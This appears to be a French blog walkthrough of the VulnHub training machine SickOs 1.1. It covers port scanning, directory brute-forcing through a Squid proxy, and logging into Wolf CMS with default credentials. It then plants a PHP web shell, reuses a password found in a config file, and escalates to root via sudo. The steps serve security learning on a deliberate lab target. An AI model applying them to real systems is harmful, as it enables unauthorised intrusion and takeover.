Accueil Solution du CTF SickOs 1.1 de VulnHub
Post
Annuler

Solution du CTF SickOs 1.1 de VulnHub

SickOs: 1.1 est un CTF créé par D4rk36 et téléchargeable sur VulnHub.

Comme vous le verrez par la suite il est simple mais requiert d’avoir les bonnes intuitions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for 192.168.57.5
Host is up (0.00065s latency).
Not shown: 65532 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA)
|   2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)
|_  256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)
3128/tcp open   http-proxy Squid http proxy 3.1.19
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
8080/tcp closed http-proxy
MAC Address: 08:00:27:89:4A:39 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On a un port 3128 annoncé comme un proxy Squid et si on s’y rend avec notre navigateur il rale en effet parce qu’on ne lui a pas donné d’URL à récupérer.

On configure un Firefox pour qu’il utilise ce proxy et quand on demande http://127.0.0.1 on obtient :

1
2
3
<h1>
BLEHHH!!!
</h1>

On enchaine avec un gobuster en spécifiant le proxy dans les options :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ gobuster -u http://127.0.0.1/ -p http://192.168.57.5:3128/ -w /opt/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://127.0.0.1/
[+] Threads      : 10
[+] Wordlist     : /opt/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt
[+] Status codes : 200,204,301,302,307,403
[+] Proxy        : http://192.168.57.5:3128/
[+] Timeout      : 10s
=====================================================
2023/02/10 15:48:40 Starting gobuster
=====================================================
/index (Status: 200)
/connect (Status: 200)
/robots (Status: 200)
/server-status (Status: 200)
=====================================================
2023/02/10 15:49:18 Finished
=====================================================

Dans le robots.txt qui ressort il est mention de /wolfcms.

Sur exploit-db une recherche sur wolfcms ne retourne rien de bien intéressant mais avec wolf cms en deux mots je trouve cette vulnérabilité d’upload arbitraire :

Wolf CMS - Arbitrary File Upload / Execution - PHP webapps Exploit

On suit l’une des URLs indiquée dans l’exploit et on arrive sur la page de login du CMS :

http://127.0.0.1/wolfcms/?/admin/

Là les identifiants admin / admin sont acceptés et on peut intuitivement aller dans la gestion des fichiers, créer un shell.php et l’éditer pour y placer une backdoor.

On retrouve alors notre shell dans le dossier public :

http://127.0.0.1/wolfcms/public/shell.php?cmd=id

Le fichier de configuration du CMS qu’on peut lire une fois un terminal récupéré contient un mot de passe :

1
2
3
4
5
// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

Ce mot de passe est accepté pour l’utilisateur sickos présent sur le système. Ce dernier permet de passer root sans difficultés :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@SickOs:/var/www/wolfcms$ su sickos
Password:
sickos@SickOs:/var/www/wolfcms$ id
uid=1000(sickos) gid=1000(sickos) groups=1000(sickos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare)
sickos@SickOs:/var/www/wolfcms$ sudo -l
[sudo] password for sickos:
Matching Defaults entries for sickos on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sickos may run the following commands on this host:
    (ALL : ALL) ALL
sickos@SickOs:/var/www/wolfcms$ sudo su
root@SickOs:/var/www/wolfcms# id
uid=0(root) gid=0(root) groups=0(root)
root@SickOs:/var/www/wolfcms# cd /root
root@SickOs:~# ls
a0216ea4d51874464078c618298b1367.txt
root@SickOs:~# cat a0216ea4d51874464078c618298b1367.txt
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying

Ce dessus, l’utilisateur fait partie du groupe sudo, on peut facilement passer root.

Publié le 11 février 2023

Cet article est sous licence CC BY 4.0 par l'auteur.